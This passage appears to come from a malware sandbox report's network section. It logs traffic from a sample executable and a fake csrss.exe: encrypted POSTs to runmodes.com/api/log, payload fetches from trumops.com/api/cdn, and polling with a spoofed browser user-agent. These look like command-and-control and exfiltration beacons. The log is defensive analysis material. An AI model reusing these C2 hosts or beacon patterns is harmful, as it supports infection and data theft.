2021-11-04 12:12:36 UTC	OUT	Data Raw: 54 78 49 43 33 6a 65 6d 33 31 6f 44 65 4c 42 63 61 70 47 58 51 58 4e 56 6b 43 31 2b 6f 6e 52 58 72 31 4a 61 30 2b 51 64 62 57 57 34 4d 4e 32 71 72 54 57 37 49 63 38 4a 59 79 50 50 37 52 2f 32 6f 74 71 76 2f 6c 49 36 55 47 6b 6b 47 74 2b 50 62 74 47 71 68 4b 52 79 47 71 6a 77 5a 66 37 2f 78 45 78 7a 7a 44 78 52 76 33 4f 54 38 44 59 2b 73 55 49 74 2f 51 4f 4a 34 54 70 54 6a 6a 6b 32 62 4d 32 69 34 63 52 65 46 71 4d 72 67 58 2b 45 57 35 70 6e 42 41 75 4b 47 4a 79 2b 6f 61 67 49 36 42 70 76 4a 67 4e 43 74 4c 67 6f 75 42 58 53 6d 79 7a 59 67 4b 78 65 4d 55 62 6d 65 41 3d 3d Data Ascii: TxIC3jem31oDeLBcapGXQXNVkC1+onRXr1Ja0+QdbWW4MN2qrTW7Ic8JYyPP7R/2otqv/lI6UGkkGt+PbtGqhKRyGqjwZf7/xExzzDxRv3OT8DY+sUIt/QOJ4TpTjjk2bM2i4cReFqMrgX+EW5pnBAuKGJy+oagI6BpvJgNCtLgouBXSmyzYgKxeMUbmeA==
2021-11-04 12:12:36 UTC	IN	HTTP/1.1 200 OK Date: Thu, 04 Nov 2021 12:12:36 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=qhX8wR370PslmQXquhv39Sv5LSwdUlU9nUqje2rkW8YlsEqvOX9XgDucMAxEfC7PY1ND0OhaN1KL8CyOfQpASgW76S6WwqCPFyyjzanxRtrTgTK9jq1ZI7molXDeDsY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6a8dc068e97e5c38-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49750	172.67.207.136	443	C:\Users\user\Desktop\0NlSa5bf55.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-04 12:12:36 UTC	1	OUT	POST /api/log HTTP/1.1 Host: runmodes.com User-Agent: Go-http-client/1.1 Content-Length: 160 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip
2021-11-04 12:12:36 UTC	1	OUT	Data Raw: 51 4f 69 79 38 46 2f 54 6d 64 74 50 35 62 38 50 58 76 64 6c 47 68 34 55 38 57 63 6c 70 4e 76 39 54 78 31 54 38 2b 63 75 58 34 57 6f 6b 65 43 61 4c 5a 2f 47 5a 6d 6a 56 70 74 36 47 4f 65 58 76 50 37 7a 43 45 66 75 54 71 42 76 35 78 34 45 4c 44 7a 78 4a 7a 78 37 50 4f 75 78 59 77 6b 72 67 70 59 57 38 69 50 35 6d 30 77 7a 51 42 47 76 33 66 76 48 4c 6b 6c 65 48 4c 6b 2b 33 6d 5a 6d 4c 42 63 52 75 75 6c 4a 45 74 54 55 6a 6b 55 75 38 74 38 64 30 41 6d 68 35 62 36 4b 56 73 41 3d 3d Data Ascii: QOiy8F/TmdtP5b8PXvdlGh4U8WclpNv9Tx1T8+cuX4WokeCaLZ/GZmjVpt6GOeXvP7zCEfuTqBv5x4ELDzxJzx7POuxYwkrgpYW8iP5m0wzQBGv3fvHLkleHLk+3mZmLBcRuulJEtTUjkUu8t8d0Amh5b6KVsA==
2021-11-04 12:12:36 UTC	1	IN	HTTP/1.1 200 OK Date: Thu, 04 Nov 2021 12:12:36 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Gtznp3GukB8jHlP3ZiFMylTeJpzrhl%2BJ12U9ChkEaySrJ2wPrBK5ercfk%2F4NuE9KvsRYYfksPhIXAI%2BzbhWfuyzofB33gpLrW6ezcoBdKehrrtDGU%2BsosyXwd7fE%2BDE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6a8dc069ee8a68e9-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49762	172.67.207.136	443	C:\Users\user\Desktop\0NlSa5bf55.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-04 12:13:16 UTC	31	OUT	POST /api/log HTTP/1.1 Host: runmodes.com User-Agent: Go-http-client/1.1 Content-Length: 132 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip
2021-11-04 12:13:16 UTC	31	OUT	Data Raw: 2f 6b 62 72 65 35 48 6e 6d 42 42 6e 59 2f 52 41 2f 78 4e 4e 6d 6e 72 68 6d 31 44 59 4f 36 41 38 7a 4c 72 4c 34 6e 49 37 55 39 6d 4c 4e 2f 2f 4a 44 4d 61 6c 41 46 34 75 46 43 4a 38 59 68 69 4c 33 62 2f 47 39 64 45 32 4f 32 49 45 47 35 31 31 4a 44 43 69 58 70 44 43 47 4b 75 67 78 77 67 7a 4c 4b 58 54 32 6c 4f 42 38 62 4a 70 53 36 70 35 57 65 48 7a 6d 55 6d 5a 44 33 66 2b 4c 4d 78 5a 6d 77 3d 3d Data Ascii: /kbre5HnmBBnY/RA/xNNmnrhm1DYO6A8zLrL4nI7U9mLN//JDMalAF4uFCJ8YhiL3b/G9dE2O2IEG511JDCiXpDCGKugxwgzLKXT2lOB8bJpS6p5WeHzmUmZD3f+LMxZmw==
2021-11-04 12:13:16 UTC	31	IN	HTTP/1.1 200 OK Date: Thu, 04 Nov 2021 12:13:16 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=eFlHTIFYWHXdcPPlTu0qH5d5xDX1fG2WhjjxxsU1RClqWIPfeGw%2BSqSuu5UeJoVB7bANX%2Fc5K5eFYpWwpCDM7sOMff48jsYhQnFZb9knRIh85lqyntRIFjXWTGBBHBM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6a8dc16138605cb0-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49765	104.21.79.9	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-04 12:13:28 UTC	32	OUT	GET /api/cdn?c=fa2e76e6e1aa03da&uuid=442b90d2-fde4-485f-a003-6086e2191d6e HTTP/1.1 Host: server2.trumops.com User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2021-11-04 12:13:28 UTC	32	IN	HTTP/1.1 200 OK Date: Thu, 04 Nov 2021 12:13:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.11 access-control-allow-credentials: false CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Cb6DsoWCWiiMSOtk2eA8Vp0Py8GdHuGv3rMUrU7MySWZ3WtgyoA%2Fp01iNlFKlkyrhKRSZHKrT7VPJ03VXNSrWk1hiuVU7gIp7ynyfWhNXu82cofMcBQmGjijbcqIBhSsffYLY%2Bw3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6a8dc1afd9e77025-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
2021-11-04 12:13:28 UTC	32	IN	Data Raw: 31 33 34 0d 0a 70 39 6c 4f 4c 4f 2b 37 7a 62 42 66 4e 64 61 5a 33 78 42 39 36 51 71 32 51 39 2f 35 59 30 6c 6c 56 45 39 69 58 46 6f 63 50 6e 71 72 34 47 74 59 73 61 71 79 72 6d 79 71 2b 57 36 2f 76 49 46 66 64 4e 47 30 6c 57 77 52 2f 38 55 57 6e 38 38 38 43 49 6b 39 69 61 62 41 31 67 59 6c 37 31 45 58 41 6c 36 48 52 69 51 71 66 5a 4b 37 48 34 46 7a 64 55 78 31 75 4c 4d 4f 64 6a 66 64 63 4b 70 68 67 61 7a 42 7a 59 73 58 30 43 6c 38 53 47 66 53 46 30 5a 6e 57 64 31 72 39 38 72 2f 73 5a 33 48 4c 6d 33 43 70 31 2f 6c 65 51 2f 65 34 78 55 7a 6c 38 57 2f 52 75 35 33 51 45 45 30 69 70 6d 56 37 69 32 6c 76 54 72 75 44 54 72 45 64 7a 79 58 77 68 67 37 65 61 62 38 47 54 55 32 78 59 72 4e 4d 74 68 64 75 30 48 75 6d 63 6c 76 4a 54 46 2b 52 51 62 56 52 76 4d 32 63 63 Data Ascii: 134p9lOLO+7zbBfNdaZ3xB96Qq2Q9/5Y0llVE9iXFocPnqr4GtYsaqyrmyq+W6/vIFfdNG0lWwR/8UWn888CIk9iabA1gYl71EXAl6HRiQqfZK7H4FzdUx1uLMOdjfdcKphgazBzYsX0Cl8SGfSF0ZnWd1r98r/sZ3HLm3Cp1/leQ/e4xUzl8W/Ru53QEE0ipmV7i2lvTruDTrEdzyXwhg7eab8GTU2xYrNMthdu0HumclvJTF+RQbVRvM2cc
2021-11-04 12:13:28 UTC	33	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49802	172.67.207.136	443	C:\Users\user\Desktop\0NlSa5bf55.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-04 12:13:38 UTC	33	OUT	POST /api/log HTTP/1.1 Host: runmodes.com User-Agent: Go-http-client/1.1 Content-Length: 160 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip
2021-11-04 12:13:38 UTC	33	OUT	Data Raw: 30 4c 58 58 58 6f 2f 45 75 77 6b 41 68 7a 59 49 44 50 48 2f 34 6b 79 47 36 75 78 4c 58 6d 59 7a 2f 67 76 65 42 78 4f 49 79 5a 47 75 74 57 65 47 6a 77 50 78 4c 31 35 5a 52 70 66 6d 6d 71 32 65 64 34 54 67 66 44 58 56 6e 2f 54 47 66 70 4d 7a 67 76 48 72 68 63 48 38 39 6e 78 4e 36 4c 78 46 4c 30 76 67 64 30 30 53 6d 63 43 77 48 6a 30 57 5a 75 7a 6d 66 2f 46 63 78 30 62 36 68 2f 37 66 34 68 63 55 57 6e 41 2b 4a 51 6b 2b 4b 64 38 37 41 50 69 38 68 62 44 52 4f 73 57 4e 76 67 3d 3d Data Ascii: 0LXXXo/EuwkAhzYIDPH/4kyG6uxLXmYz/gveBxOIyZGutWeGjwPxL15ZRpfmmq2ed4TgfDXVn/TGfpMzgvHrhcH89nxN6LxFL0vgd00SmcCwHj0WZuzmf/Fcx0b6h/7f4hcUWnA+JQk+Kd87APi8hbDROsWNvg==
2021-11-04 12:13:38 UTC	33	IN	HTTP/1.1 200 OK Date: Thu, 04 Nov 2021 12:13:38 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=K%2FmANzxG6cuJJZvrreMH2tJE24bTsZtpqmU7WLMUj5jxJo7IDOe90xKNFg6hpCsC%2F%2FRFL13fJ5BXvlYEp6OS%2FTzDY5%2FI48xqkw24cx60Jk%2BK5lEtBxQOrjF9VRkORKQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6a8dc1e8ccd16909-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49831	104.21.79.9	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-04 12:14:04 UTC	34	OUT	POST /api/poll HTTP/1.1 Host: server2.trumops.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36 Content-Length: 660 Accept-Encoding: gzip
2021-11-04 12:14:04 UTC	34	OUT	Data Raw: 64 53 62 79 41 2f 6c 62 55 4a 35 64 4c 55 33 6a 45 49 2f 4f 6d 6e 30 5a 6b 47 38 51 67 48 65 7a 31 36 47 56 59 76 46 6e 4d 52 72 68 4b 2f 45 4e 38 34 73 44 31 4f 50 48 58 57 76 75 47 63 47 6d 4f 52 47 68 41 37 2b 62 79 45 70 65 38 71 55 78 4f 4a 35 67 46 6e 48 41 59 70 4b 2f 36 62 2f 74 6d 34 59 71 4a 45 76 33 31 59 78 5a 70 4e 53 76 50 36 30 62 77 2b 42 66 7a 69 70 31 4f 4c 30 56 59 6d 4a 31 46 43 57 71 31 52 37 6e 59 31 54 50 4a 79 76 31 56 75 62 67 63 65 50 54 75 69 47 6b 49 30 38 6a 72 4e 70 51 50 4f 48 6d 49 4d 39 65 54 52 4a 77 7a 30 64 2f 57 2b 71 72 4c 75 67 75 34 51 67 59 44 62 49 72 55 6e 49 4d 34 61 4d 39 38 36 4d 64 6e 6d 50 68 4a 49 65 54 50 4c 4e 39 74 4e 2b 67 65 70 30 37 70 72 36 79 69 78 61 50 49 75 55 70 5a 53 6b 78 75 53 35 2f 77 35 50 Data Ascii: dSbyA/lbUJ5dLU3jEI/Omn0ZkG8QgHez16GVYvFnMRrhK/EN84sD1OPHXWvuGcGmORGhA7+byEpe8qUxOJ5gFnHAYpK/6b/tm4YqJEv31YxZpNSvP60bw+Bfzip1OL0VYmJ1FCWq1R7nY1TPJyv1VubgcePTuiGkI08jrNpQPOHmIM9eTRJwz0d/W+qrLugu4QgYDbIrUnIM4aM986MdnmPhJIeTPLN9tN+gep07pr6yixaPIuUpZSkxuS5/w5P
2021-11-04 12:14:04 UTC	35	IN	HTTP/1.1 404 Not Found Date: Thu, 04 Nov 2021 12:14:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.11 set-cookie: PHPSESSID=cnlc3ums43ob7amk913qjg230o; path=/; HttpOnly expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache access-control-allow-credentials: false CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=K8%2BWwHFzEcC65SRlptMAbLk1ZeMBaUi3xsBQMNzzlQjB5u4QmzHcBSCpMW4bK08piNRaXwWPyWEKl2fynOjutLpjH0glYZ3e22rPHrf252BU1FX1nS%2Bm8MaGSw3sfE8O7dW6RE8S"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6a8dc28c88274a67-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
2021-11-04 12:14:04 UTC	36	IN	Data Raw: 65 38 0d 0a 51 78 30 64 54 46 69 34 71 4d 73 64 45 4f 64 2f 63 6d 47 64 5a 6e 61 6b 51 76 67 68 6e 2f 38 54 49 45 56 44 41 36 6f 44 30 39 52 61 41 71 77 6f 34 32 6f 4e 55 68 30 66 53 4f 76 75 42 65 78 4c 4a 53 57 4f 4e 6d 47 58 54 4b 77 4f 48 34 6a 35 6d 6c 6d 59 65 42 75 31 53 70 57 56 56 44 4b 70 65 77 4a 6c 73 48 38 45 68 78 62 51 43 59 6b 49 7a 66 62 68 63 54 68 38 47 51 48 48 76 68 6d 49 55 2f 4c 35 67 75 53 37 62 5a 64 31 31 69 6b 42 36 77 68 4d 4e 74 67 56 50 79 68 55 57 53 51 6a 46 75 39 36 43 78 48 6a 75 70 57 41 30 72 35 44 33 42 65 44 6e 70 5a 6d 45 4b 4f 4e 44 6d 4d 49 59 47 66 62 55 36 2b 48 59 66 79 44 6c 6d 6a 4f 4b 6a 4d 78 49 65 38 52 57 77 6b 4a 43 6d 61 42 59 45 4b 62 73 51 3d 3d 0d 0a Data Ascii: e8Qx0dTFi4qMsdEOd/cmGdZnakQvghn/8TIEVDA6oD09RaAqwo42oNUh0fSOvuBexLJSWONmGXTKwOH4j5mlmYeBu1SpWVVDKpewJlsH8EhxbQCYkIzfbhcTh8GQHHvhmIU/L5guS7bZd11ikB6whMNtgVPyhUWSQjFu96CxHjupWA0r5D3BeDnpZmEKONDmMIYGfbU6+HYfyDlmjOKjMxIe8RWwkJCmaBYEKbsQ==
2021-11-04 12:14:04 UTC	36	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49751	172.67.207.136	443	C:\Users\user\Desktop\0NlSa5bf55.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-04 12:12:36 UTC	2	OUT	POST /api/log HTTP/1.1 Host: runmodes.com User-Agent: Go-http-client/1.1 Content-Length: 184 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip
2021-11-04 12:12:36 UTC	2	OUT	Data Raw: 36 55 44 43 43 39 54 2b 58 47 5a 36 42 69 70 6d 75 4f 48 43 32 6e 4f 37 70 65 2f 4c 73 2f 2b 47 79 35 72 41 30 35 67 42 66 77 53 53 4c 64 4f 64 6b 54 48 62 79 59 6e 77 43 50 41 39 2f 35 4d 41 73 51 4e 59 32 49 57 7a 52 73 44 79 54 34 32 54 37 76 4d 47 6d 71 59 75 73 71 56 78 41 4c 65 47 63 7a 6c 56 45 37 2b 73 36 4e 37 41 37 6b 32 6e 31 61 43 79 4a 75 30 30 65 53 4c 44 38 65 6b 42 6e 71 61 41 45 37 49 4d 47 58 36 64 6d 32 6e 35 65 36 57 52 41 4e 4a 73 71 2f 45 65 77 6c 6f 48 43 59 6a 56 4e 43 4a 59 4d 5a 72 44 52 47 49 54 77 49 4c 55 42 77 3d 3d Data Ascii: 6UDCC9T+XGZ6BipmuOHC2nO7pe/Ls/+Gy5rA05gBfwSSLdOdkTHbyYnwCPA9/5MAsQNY2IWzRsDyT42T7vMGmqYusqVxALeGczlVE7+s6N7A7k2n1aCyJu00eSLD8ekBnqaAE7IMGX6dm2n5e6WRANJsq/EewloHCYjVNCJYMZrDRGITwILUBw==
2021-11-04 12:12:36 UTC	2	IN	HTTP/1.1 200 OK Date: Thu, 04 Nov 2021 12:12:36 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LpViToLIrj5PhFrwqy%2FjaoP7MlNxERPOobbLIiyFXoqU66%2FydePwuqkUnoM53d%2BY4%2FvabdQxQZFn9sb%2FuEdKH4ml94LucJ%2BI8kcCISpV%2Fh7iOhc703RLpIBc4Zuh6Ao%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6a8dc06add270610-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49752	172.67.207.136	443	C:\Users\user\Desktop\0NlSa5bf55.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-04 12:12:37 UTC	3	OUT	POST /api/log HTTP/1.1 Host: runmodes.com User-Agent: Go-http-client/1.1 Content-Length: 184 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip
2021-11-04 12:12:37 UTC	3	OUT	Data Raw: 66 34 36 6d 63 47 63 47 78 38 61 6e 47 63 75 43 4b 6b 37 58 2b 74 77 45 75 72 6b 53 41 47 2f 66 7a 48 69 4d 48 4d 45 69 35 64 2f 42 62 55 4f 43 34 36 4f 4e 47 72 45 42 38 44 76 68 76 48 6d 59 71 7a 34 2b 4f 4e 6a 4f 31 30 53 50 6f 68 62 35 49 77 76 7a 41 63 4a 69 78 71 47 6d 36 6f 7a 55 71 63 6a 50 4e 76 30 48 49 67 76 45 47 61 74 42 57 61 30 6b 38 4d 65 75 42 46 70 74 67 4a 2b 66 6c 59 31 41 74 33 65 6e 30 75 33 77 79 30 74 64 47 69 6a 55 4d 6e 78 4e 47 49 58 31 57 49 48 58 69 59 42 56 70 72 63 62 4b 67 33 56 69 74 4d 67 6f 53 71 5a 65 45 5a 53 Data Ascii: f46mcGcGx8anGcuCKk7X+twEurkSAG/fzHiMHMEi5d/BbUOC46ONGrEB8DvhvHmYqz4+ONjO10SPohb5IwvzAcJixqGm6ozUqcjPNv0HIgvEGatBWa0k8MeuBFptgJ+flY1At3en0u3wy0tdGijUMnxNGIX1WIHXiYBVprcbKg3VitMgoSqZeEZS
2021-11-04 12:12:37 UTC	3	IN	HTTP/1.1 200 OK Date: Thu, 04 Nov 2021 12:12:37 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=skJ3EUIWr64bn2ZBpZB%2FUza5IcFcVK1GnoBGeZNVUNw6tAqiu3w0RD2i%2FVOEjtqhdUYauXODe2vSW3VkEebSi5J4RBuav3d05zXPONiDRgl7VLx6Y2xknNK7ktHpo1Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6a8dc06bbf024e7f-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49753	172.67.139.144	443	C:\Users\user\Desktop\0NlSa5bf55.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-04 12:12:37 UTC	4	OUT	GET /api/cdn?c=dfd675dbadcd07bb&kind=main&uuid= HTTP/1.1 Host: server16.trumops.com User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2021-11-04 12:12:38 UTC	4	IN	HTTP/1.1 200 OK Date: Thu, 04 Nov 2021 12:12:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.11 access-control-allow-credentials: false CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Y4yBcOTEnqgeuKRPTB%2BXi9MTvSPQYqR4IPUIF6pEKxoNuwSJEedzbMGrA3JRmf6McQdWBMeHTdLzGgtfMNGs9Mb0SSQidBJFIGoeQhX3%2BEbW8eGmrizD5bHo%2BE9MF0mfQmiLZKblkQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6a8dc06d9abd74ed-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
2021-11-04 12:12:38 UTC	5	IN	Data Raw: 31 33 34 0d 0a 35 6a 4b 35 32 44 7a 36 59 4f 36 71 61 79 67 73 59 69 45 43 6d 6a 46 53 38 37 50 6a 52 38 4b 74 55 56 56 63 58 76 55 34 6e 4c 36 4e 39 62 6f 78 38 31 39 36 47 35 44 41 36 72 36 64 4d 4b 36 41 34 53 76 63 39 43 37 5a 31 36 38 74 73 50 57 32 50 68 36 69 69 4d 70 44 74 4b 73 32 64 79 74 41 43 57 79 57 7a 74 6f 78 51 38 2f 63 59 37 52 46 38 34 53 57 39 57 64 45 64 34 51 71 74 31 77 52 70 4a 73 78 79 4d 44 65 72 48 4d 67 44 4d 53 52 39 79 70 71 37 48 72 4b 32 63 48 5a 7a 63 4f 48 42 45 57 6b 54 33 77 69 6e 31 50 43 6c 6f 72 58 69 78 42 5a 50 54 31 50 31 59 61 32 4e 51 5a 6c 6f 70 46 77 77 68 79 42 4f 66 6a 59 52 62 2b 55 46 50 44 4f 4d 6b 62 33 58 33 39 37 76 66 4c 59 64 4f 35 67 71 6e 4e 72 42 32 68 4c 35 37 31 7a 6b 2b 2f 52 6c 69 6a 73 6c 6b Data Ascii: 1345jK52Dz6YO6qaygsYiECmjFS87PjR8KtUVVcXvU4nL6N9box8196G5DA6r6dMK6A4Svc9C7Z168tsPW2Ph6iiMpDtKs2dytACWyWztoxQ8/cY7RF84SW9WdEd4Qqt1wRpJsxyMDerHMgDMSR9ypq7HrK2cHZzcOHBEWkT3win1PClorXixBZPT1P1Ya2NQZlopFwwhyBOfjYRb+UFPDOMkb3X397vfLYdO5gqnNrB2hL571zk+/Rlijslk
2021-11-04 12:12:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49755	172.67.207.136	443	C:\Users\user\Desktop\0NlSa5bf55.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-04 12:12:40 UTC	5	OUT	POST /api/log HTTP/1.1 Host: runmodes.com User-Agent: Go-http-client/1.1 Content-Length: 172 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip
2021-11-04 12:12:40 UTC	5	OUT	Data Raw: 74 36 31 4a 4b 75 2b 74 57 51 61 52 7a 63 6b 4a 69 7a 5a 77 72 42 31 58 49 31 69 58 47 45 43 43 34 62 48 33 54 74 57 52 39 69 32 69 72 37 55 72 65 4b 6c 55 66 59 69 4a 48 2b 64 7a 6d 76 79 32 71 65 61 4b 33 6a 52 59 33 4b 45 33 55 6f 34 43 57 4b 2b 51 75 52 53 58 45 72 49 55 6b 2b 4d 78 45 6a 33 65 44 4a 66 48 52 64 39 5a 74 54 55 65 70 67 48 43 52 30 78 6d 50 57 32 78 35 38 39 74 71 51 4f 35 7a 34 6d 4c 34 30 47 6a 66 47 72 78 35 4c 67 34 4a 71 35 32 2b 33 6a 36 4a 66 50 35 43 44 36 5a 37 70 76 54 33 46 38 3d Data Ascii: t61JKu+tWQaRzckJizZwrB1XI1iXGECC4bH3TtWR9i2ir7UreKlUfYiJH+dzmvy2qeaK3jRY3KE3Uo4CWK+QuRSXErIUk+MxEj3eDJfHRd9ZtTUepgHCR0xmPW2x589tqQO5z4mL40GjfGrx5Lg4Jq52+3j6JfP5CD6Z7pvT3F8=
2021-11-04 12:12:40 UTC	5	IN	HTTP/1.1 200 OK Date: Thu, 04 Nov 2021 12:12:40 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Dun0UjAq3ixcBOnnjd024SseZgFFG6j6dis8sOjYPFrIkjz5js9P3HOVqgMlQHh6peCABhzEaWAn9j%2B6KL9%2FXkyvJVkWTaaAzMTyh4PqmR2MtBPmzly8MgER9Ng9AWY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6a8dc07f7afd5b98-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49756	172.67.207.136	443	C:\Users\user\Desktop\0NlSa5bf55.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-04 12:12:43 UTC	6	OUT	POST /api/log HTTP/1.1 Host: runmodes.com User-Agent: Go-http-client/1.1 Content-Length: 156 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip
